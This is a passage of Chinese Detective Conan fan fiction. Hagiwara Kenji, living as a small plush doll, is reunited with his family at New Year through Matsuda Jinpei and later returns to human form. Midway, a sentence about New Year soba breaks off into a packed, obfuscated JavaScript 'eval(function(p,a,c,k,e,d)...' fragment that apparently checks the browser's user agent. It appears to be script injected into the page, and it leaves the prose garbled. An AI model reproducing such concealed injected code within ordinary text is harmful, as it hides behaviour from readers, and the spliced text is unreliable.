“是我,妈妈。”萩原研二重重地点点头,声音软了下来,带着压抑不住的哽咽,“对不起,让你们难过了这么久。” 萩原爸爸站在一旁,一向硬朗的男人眼眶通红,喉结剧烈地滚动着,他有太多的话想说,可最终所有的话都堵在喉咙里,只剩下沉重而释然的呼吸。 萩原千速深吸了一口气,强行压下心中翻涌的情绪。她太清楚松田阵平的性子,不可能拿这种事胡闹。 也愿意相信这世间真的有奇迹,有一场跨越生死的童话结局——把她的弟弟带回来了。 积攒的情绪到了临界点,萩原妈妈再也忍不住伸出手碰了碰萩原研二的发顶,那一点点真实的温度让她泣不成声,“回来就好……回来就好啊……” “妈妈以为……妈妈以为这辈子再也见不到你了……” 萩原研二努力不让眼泪掉下来,他抬头看向一直捧着他的卷发青年,郑重道,“是松田把我带回来的。” 所有人的目光落在了松田身上。 “小阵平,可以带我过去吗。”松田阵平明白了萩原研二话里的意思,把小玩偶放在萩原妈妈面前。 萩原研二弯了弯眼眸,伸手虚虚地抱住了萩原妈妈,又用棉花小手一点一点擦去了她面庞上的泪水,“是我不好,妈妈。” “不要哭了。” 被安慰的萩原妈妈心头一颤,几乎是又想哭了,自家孩子从小就很体贴,直到现在也没有变过,作为母亲她该欣慰才是。 萩原千速搂住萩原妈妈,拍了拍妈妈的背安抚着,对着一直没说话的松田阵平露出一抹感激的笑,“阵平,谢谢你。” “谢谢你,把研二带回了家。” 松田阵平向来不擅长应付这种场面,只不自然轻咳一声,“这是当然的,我不会丢下他。” 重逢的情绪稍稍平复,众人慢慢收住眼泪。 “先吃饭吧,菜要凉了。”萩原妈妈擦去眼角泪痕,招呼着众人前往餐厅,自己则转身回房拿了块柔软干净的小毛巾,铺在餐桌空余的地方,“阵平把研二先放下来吧。” 等人都坐下后,松田阵平将萩原放在毛巾上,自己也跟着坐了下来,“萩也可以吃东西。” “欸,那可真是太好了。”萩原妈妈立刻把一旁的小碟子推过去,又夹了少许荞麦面放进去,“只是家里暂时没有合适的餐具,研二先委屈一下,明天妈妈就去买。” 过年必吃荞麦面,它寓意着长寿,也寓意斩断过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……”他整个人僵在原地,嘴唇动了动半天没发出声音,“这是?” “这是萩。”松田阵平耐心地补充道。 “……”松田丈太郎扯了扯嘴角,“你要带回来重要的人就是他?” “没错。”松田阵平给予了他肯定的答复。 “……”松田丈太郎一拍脑袋接受良好,既然松田说是萩原那就没错君。只是没想到兜兜转转还是萩原家这小子把他的白菜给拱了。 这下一家人是彻底团聚了,谁也没缺席。 萩原妈妈和萩原千速在看红白歌会,猜测下一位出场的歌手会是谁,萩原爸爸和松田丈太郎在你一杯我一杯的喝酒。松田阵平和萩原研二也跟着喝了一点,然后就去萩原房里研究模型去了。 远处神社的钟声还未响起,可对他们而言旧年即将落幕,最好的新年已经到来了。 这片灯火之下,生死相隔的人终于再度重逢。 这一次他们再也不会分开,可以相伴走过一年又一年的大晦日,看一场又一场红白歌会。 夜色渐深,一屋子人都累了,早早睡去。 松田阵平睡在萩原研二得房间,将小玩偶放在枕边。在他陷入熟睡的时候,一道微弱的光芒笼罩住萩原研二。 在安静的月色中,他一点点舒展,恢复成原本的模样。 等天微微亮,松田阵平是被身边异常的存在感弄醒的。 他下意识伸手一摸——枕边空了。 松田阵平心脏猛地一沉,几乎是立刻坐起身。下一秒,他整个人僵在了床上。 身边躺着一个身形修长的成年男人。他半长的黑发散落,下垂眼紧紧闭着,唇线微抿。 这是他记忆里,相伴无数个日夜的身影。 成年的萩。